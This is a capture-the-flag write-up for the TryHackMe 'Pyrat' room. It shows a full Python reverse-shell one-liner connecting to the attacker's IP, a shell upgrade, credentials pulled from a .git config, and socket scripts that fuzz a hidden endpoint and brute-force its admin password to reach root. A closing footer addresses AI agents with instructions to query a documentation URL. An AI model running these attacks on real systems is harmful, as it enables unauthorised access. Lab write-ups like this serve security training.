# Pyrat

{% embed url="<https://tryhackme.com/r/room/pyrat>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="/files/fgutP6VmsOsVHYVe8Cfh" alt="" data-size="line"><img src="/files/J1FStDkVaABJlaGdbdeX" alt="" data-size="line">

**`Room's Description`**:

<figure><img src="/files/QEEMbTtUudDa019oMfEB" alt=""><figcaption></figcaption></figure>

**`Machine IP`**: 10.10.192.46

**`Hosts file entry`**: echo '10.10.192.46 pyrat.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN pyrat_thm -Pn pyrat.thm

Nmap scan report for pyrat.thm (10.10.192.46)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/3%Time=66FE3CBC%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/3%OT=22%CT=1%CU=42699%PV=Y%DS=2%DC=T%G=Y%TM=66FE
OS:3D34%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=101%TI=Z%CI=Z%TS=A)OPS(O1
OS:=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW
OS:6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=
OS:Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
OS:CK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 6.108 days (since Fri Sep 27 09:37:53 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   193.28 ms 10.11.0.1
2   194.14 ms pyrat.thm (10.10.192.46)
```

The scan results show that we have two ports open, that is port **`22`** & **`8000`** .&#x20;

### Enumeration

**`Checking out port 8000`**:

<div align="left"><figure><img src="/files/XHohC6zfTpMTY1o1Wv24" alt=""><figcaption></figcaption></figure></div>

The page tells us to try an even more **`basic connection`**. The only thing that comes to mind is either **`netcat`** or **`telnet`**. Port **`23`** ain't open on the machine, leaving us with just **`netcat`**.

We can now connect to the port via **`netcat`**, like so:

```bash
nc pyrat.thm 8000 -v
```

<figure><img src="/files/QLDwK8aprHgK3CfaG71s" alt=""><figcaption></figcaption></figure>

We are **`connected`**.&#x20;

From the **`Nmap scan`** results, we notice that the version results for port **`8000`** says - **`SimpleHTTP/0.6 Python/3.11.2`**. This means it is a **`Python-based HTTP`** server. So our interaction with the **`netcat`** connection will highly likely be through **`Python`**.&#x20;

To confirm the same we can execute a simple **`print`** command:

<figure><img src="/files/Fe6XDA99nlsWROO9VAqa" alt=""><figcaption></figcaption></figure>

And indeed we get the output. This confirms that we are on a **`Python shell`**.

We can also try to find the exact **`Python version`** that could be running:

```python
import sys
print(sys.version)
```

<div align="left"><figure><img src="/files/e6XsdUuYFFPHdeq7o4lR" alt=""><figcaption></figcaption></figure></div>

We are on **`3.8.10`**. So the fingerprinting that **`Nmap`** did (**`3.11.2`**) wasn't accurate.

Now that we have tested enough stuff and have fully confirmed that we are having a **`Python`** interaction via the **`netcat`** connection, we can go ahead and try to run a **`Python reverse shell`** command to see what we are presented with.

### Exploitation & Foothold

**`Python Reverse Shell`**:

```python
import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('10.11.75.84',4545)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])
```

The **`IP`** specified in the command is the **`tun0`** interface **`IP`**.

Now, we can set up a **`netcat`** listener on our **`attacker machine`** and execute the above command.

<figure><img src="/files/7Ov0ZgeDVftCq8RIISl3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Pnj2R13yucC25TnT1LMm" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/4ok2W3gxeGLGcSdEJab2" alt=""><figcaption></figcaption></figure></div>

And we get a connection as **`www-data`**.

### Further Enumeration

Firstly we can proceed to **`upgrade`** the current shell a little.

**`Commands`**:

```python
python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm
```

<div align="left"><figure><img src="/files/MqY1ZXXVtvggbkk8maSV" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/WECZcc1yFsu5rHJ1Q28n" alt=""><figcaption></figcaption></figure></div>

We land directly within the **`/root`** directory.

From the **`/etc/passwd`** file contents we have a user other than root having a **`console`**, that being - **`think`**:

<div align="left"><figure><img src="/files/aRtDUfHgQETUjhMB3yee" alt=""><figcaption></figcaption></figure></div>

Let us now start **`traversing`** other **`common directories`** hoping to find some good **`information`**. Moreover, the room's description says that we would be able to find some **`credentials`** within a **`well-known folder`**, it could be **`think's password`**!?

**`Good directories`** to look into:

<figure><img src="/files/zypjOIPg1SfPmQrdJNmn" alt=""><figcaption></figcaption></figure>

**`/opt`** and **`/var`**.

**`Checking out /opt`**:

<div align="left"><figure><img src="/files/DWTEXWN1rQgib3S03QRm" alt=""><figcaption></figcaption></figure></div>

There is a **`.git`** directory. Having access to this folder can help us retrieve some **`code`** or **`sensitive data`**.

<figure><img src="/files/7miecsThQeqcEyPqU6wB" alt=""><figcaption></figcaption></figure>

There is a file named **`config`**.

<div align="left"><figure><img src="/files/DxWDvnK7ksAOKsfPFeBY" alt=""><figcaption></figcaption></figure></div>

And we get the user **`think's`** **`password`**.

Now we can **`SSH`** in as **`think`**:

**`Command`**:

```bash
ssh think@pyrat.thm
```

<div align="left"><figure><img src="/files/sBxAIFgr90VK2XV5J4Fe" alt="" width="563"><figcaption></figcaption></figure></div>

We get the **`user flag`** in think's **`home`** directory:

<figure><img src="/files/CfdKxhckI8VdekIvGZmq" alt=""><figcaption></figcaption></figure>

Now let us get back to the **`.git`** folder within the **`/opt`** directory as we hadn't fully enumerated it before.

Instead of manually examining all those files under the **`.git`** directory, we can use **`Git commands`** to retrieve useful information.

We do have the **`git`** utility on the machine:

<div align="left"><figure><img src="/files/oVqTllia4cdBXpJH9zOz" alt=""><figcaption></figcaption></figure></div>

**`Commands`**:

```bash
git rev-list --count --all   //Displays the total number of commits
```

```bash
git log  //Displays the commit history
```

```bash
git show  //Displays details of the commit
```

<div align="left"><figure><img src="/files/X9cuEi1A5U9tFCwX78ES" alt=""><figcaption></figcaption></figure></div>

We have only **`1`** commit.

<figure><img src="/files/gwOhjGsZweUdfCynwsqt" alt=""><figcaption></figcaption></figure>

The **`commit message`** says that a **`shell endpoint`** was added or it could mean the endpoint's name is **`shell`**. The description of the room talks about endpoints and **`shell`** might be an endpoint too.

<figure><img src="/files/aV8ZHLs4sG0cv5pZJqKM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/C5Em71Fl1ANsjBnOHG96" alt=""><figcaption></figcaption></figure>

This is the **`latest`** or the most recent commit (**`HEAD -> master`**). However, the file name **`pyrat.py.old`** suggests that it may be an older version of a script called **`pyrat.py`**.&#x20;

Even though we don't have the full code, what it is mainly saying is this:

It allows a server to respond to commands received from us over a **`socket connection`**. The **`switch_case`** function checks the input given by us and decides what action to take. If the input is **`some_endpoint`**, it calls a specific function. If the input is **`shell`**, it gives us access to a command line shell on the server, to execute commands.&#x20;

So we now know that we have an endpoint named **`shell`**. Even though the script might not be the latest code, we can still give it a try by passing this endpoint on the **`netcat`** shell to see if it still stands valid:

<figure><img src="/files/XuS90SPLyTSxTXuvvLnQ" alt=""><figcaption></figcaption></figure>

And it works. We get a shell as **`www-data`**. Now let us try to see what is up with that **`some_endpoint`**.

**`Passing in some_endpoint`**:

<div align="left"><figure><img src="/files/zWwHOCf55XqkN1eyCUMt" alt=""><figcaption></figcaption></figure></div>

So this confirms that this is the **`special endpoint`** that we have to **`fuzz`** for as mentioned in the description of the room.&#x20;

**`These lines`**:

```python
if data == 'some_endpoint':
      get_this_enpoint(client_socket)
```

Says that there is some **`other endpoint`** that is present (**`1st line`**) and that endpoint is being used like so: **`get_[that endpoint]`** (**`2nd line`**).

We can now go ahead and **`fuzz`** out that so-called **`special endpoint`** via some simple **`Python scripting`**.

### Privilege Escalation

**`Endpoint Fuzzing Script`**:

Firstly we have to fetch a **`wordlist`**:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt>" %}
Wordlist
{% endembed %}

I have named the wordlist file: **`endpoints.txt`**

```python
import socket

def fuzz_endpoints(target_ip, target_port, wordlist):
    with open(wordlist, 'r') as file:
        endpoints = file.read().splitlines()

    for endpoint in endpoints:
        try:
            # Create a socket connection
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))
                
                # Send the endpoint
                client_socket.sendall(endpoint.encode() + b'\n')
                
                # Receive the response
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Response for {endpoint}: {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = 'endpoints.txt'  # Replace with your wordlist path

    fuzz_endpoints(TARGET_IP, TARGET_PORT, WORDLIST)

```

And we get a **`valid hit`**:

<figure><img src="/files/rP4hGEyFn7dAJ1hePrBx" alt=""><figcaption></figcaption></figure>

When **`admin`** was passed, the response from the server was - **`Password:`**

**`Passing the same`**:

<figure><img src="/files/y5u05o6amGQAY4PIDwaa" alt=""><figcaption></figcaption></figure>

So we now have found out that **`special endpoint`**, that being - **`admin`**.

**`Fuzzing`** for the **`password`** is what should be done at this point, **`admin password`**. It is safe to assume the same as the **`endpoint`** is named **`admin`**, so we have to find the **`admin's password`** which we aren't aware of yet.&#x20;

**`Password Fuzzing Script`**:

For this, we would be using the **`rockyou.txt`** wordlist.

```python
import socket

def fuzz_admin_passwords(target_ip, target_port, password_wordlist):
    admin_endpoint = "admin"
    
    with open(password_wordlist, 'r', errors='ignore') as file:
        passwords = file.read().splitlines()

    for password in passwords:
        try:
            
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))

                # Send the admin endpoint
                client_socket.sendall(f"{admin_endpoint}\n".encode())
                
                # Receive the response (for admin prompt)
                response = client_socket.recv(4096).decode()
                print(f'Response for {admin_endpoint}: {response}')

                # Send the password
                client_socket.sendall(f"{password}\n".encode())
                
                # Receive the response (for password attempt)
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Trying password "{password}": {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = '/usr/share/wordlists/rockyou.txt'

    fuzz_admin_passwords(TARGET_IP, TARGET_PORT, WORDLIST)

```

And we again get a **`hit`**:

<figure><img src="/files/Z01ZQ3TE7iTBJ4Py4mjq" alt=""><figcaption></figcaption></figure>

The response from the server when the **`valid password`** was tried: **`Welcome Admin!!! Type "shell" to begin`**.

Now we can go ahead and enter the **`password`**:

<figure><img src="/files/Ir1RWIL73M17E6E0Hm9M" alt=""><figcaption></figcaption></figure>

We are now **`root`**.

The **`root flag`** can be fetched from the **`/root`** directory.

<figure><img src="/files/MTH1dbA9gQOeghhpxB8N" alt=""><figcaption></figcaption></figure>

Room solved!!

### Alternate Approach To Finding The Special Endpoint (admin)&#x20;

This is something I **`overlooked`** when I initially completed the room, in the sense didn't put much thought into that aspect even though I saw it a lot many times on the machine. I will be diving straight into it without any story-building.

**`Checking out /var/mail`**:

<figure><img src="/files/a2Lrzd6VmJvQEroON2TS" alt=""><figcaption></figcaption></figure>

The **`mail`** talks about a **`RAT`** that was downloaded by a person from a **`GitHub page`** that belongs to **`Jose`**.

And we had come across **`Jose's email ID`** a lot many times on the machine, a few instances being in the **`config`** file contents, in the output of the **`git log`**, **`git show`** commands, etc.

<div align="left"><figure><img src="/files/C8wvactC3Y8ZAj6QDeN0" alt=""><figcaption></figcaption></figure></div>

That **`email`** when searched led us to the **`GitHub`** account of the **`maker`** of this very room.

<figure><img src="/files/TlaBIV0GFNt0V13UldAU" alt=""><figcaption></figcaption></figure>

There is a **`repo`** called **`PyRAT`** in it:

{% embed url="<https://github.com/josemlwdf/PyRAT>" %}

This **`repo`** reveals the **`special endpoint`** which was **`admin`**:

<figure><img src="/files/a7SaTDT5vq7cl0wQKqiu" alt=""><figcaption></figcaption></figure>

The **`code`** too in the **`repo`** reveals the same and it is the **`same exact code`** that is running on this room as a **`cron job`** as **`root`**:

<figure><img src="/files/GPCMN2CHsbwCI0ZmN1JZ" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="/files/cTupLUS4UlwCA3E2CxiT" alt=""><figcaption></figcaption></figure></div>

**`The code`**:

<figure><img src="/files/ggl5x8kvICBPCAZZu2lB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fANMnCLrqTcuuwxNzxuN" alt=""><figcaption></figcaption></figure>

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://manav-g-krishna.gitbook.io/tryhackme-writeups/pyrat.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
